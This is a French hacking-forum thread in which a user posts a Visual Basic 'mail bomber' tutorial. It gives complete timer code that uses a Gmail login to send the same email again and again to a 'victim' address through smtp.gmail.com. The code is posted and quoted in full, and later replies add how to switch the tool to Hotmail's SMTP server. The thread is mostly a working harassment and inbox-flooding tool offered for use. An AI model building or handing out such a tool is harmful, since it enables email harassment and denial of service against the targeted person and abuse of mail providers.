Faire un mail bomber

Statut
N'est pas ouverte pour d'autres réponses.

Enissay

Premium
Inscription
26 Octobre 2012
Messages
2 110
Réactions
842
Points
9 966
RGCoins
25
Je vous présente un Bombeer mail en VB8

Il vous faut:

7 Label
5 TextBox
2 Button
1 Timer

Label1 : Username Gmail
Label2 : Password Gmail
Label3 : Email de la victime
Label4 : Subject
Label5 : Message
Label6 : Sent :
Label7 : 0


Tout en haut du code Source mettez ça:
Code :
Imports System.Net.Mail

Double clique sur le timer ajouter sa:
Code :
Dim mymailmessage As New MailMessage
mymailmessage.From = New MailAddress(TextBox1.Text)
mymailmessage.To.Add(TextBox3.Text)
mymailmessage.Subject = (TextBox4.Text)
mymailmessage.Body = (TextBox5.Text)
Dim smtpserver As New SmtpClient("smtp.gmail.com")
smtpserver.Port = (587)
smtpserver.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
smtpserver.EnableSsl = True
smtpserver.Send(mymailmessage)
Label7.Text = Val(Label7.Text + 1)

Double clique Button 1:
Code :
Timer1.Start()

Double clique sur Button 2 ajouter sa:
Code :
Timer1.stop()

ênissay»
 
Salut merci du tuto, mais qu'est ce qu'un email bomber ?
 
Salut merci du tuto, mais qu'est ce qu'un email bomber ?
Un envoie d'email en répétition (toujours le même email plusieurs fois) .
 
Je vous présente un Bombeer mail en VB8

Il vous faut:

7 Label
5 TextBox
2 Button
1 Timer

Label1 : Username Gmail
Label2 : Password Gmail
Label3 : Email de la victime
Label4 : Subject
Label5 : Message
Label6 : Sent :
Label7 : 0


Tout en haut du code Source mettez ça:
Code :
Imports System.Net.Mail

Double clique sur le timer ajouter sa:
Code :
Dim mymailmessage As New MailMessage
mymailmessage.From = New MailAddress(TextBox1.Text)
mymailmessage.To.Add(TextBox3.Text)
mymailmessage.Subject = (TextBox4.Text)
mymailmessage.Body = (TextBox5.Text)
Dim smtpserver As New SmtpClient("smtp.gmail.com")
smtpserver.Port = (587)
smtpserver.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
smtpserver.EnableSsl = True
smtpserver.Send(mymailmessage)
Label7.Text = Val(Label7.Text + 1)

Double clique Button 1:
Code :
Timer1.Start()

Double clique sur Button 2 ajouter sa:
Code :
Timer1.stop()

ênissay»
Merci du tuto :)
 
service les gas, vous savez comment me remercier. :D
 
Très bon tuto mec! :ok:
 
Je ne pense pas qu'on puisse appeler cela un tutoriel, tu nous balances du code dans la gueule, ni nous ni toi ne comprends ce code.
Le but d'un tutoriel est d'apprendre à une personne une connaissance, en l'occurrence tu ne m'apprends rien.

M'enfin, c'est le geste qui compte et je t'en remercie :)

Pour info, si vous voulez envoyer un message à un @hotmail il suffit de remplacer le "Smtp.gmail.com" en "Smtp.live.com".
 
Statut
N'est pas ouverte pour d'autres réponses.
Retour
Haut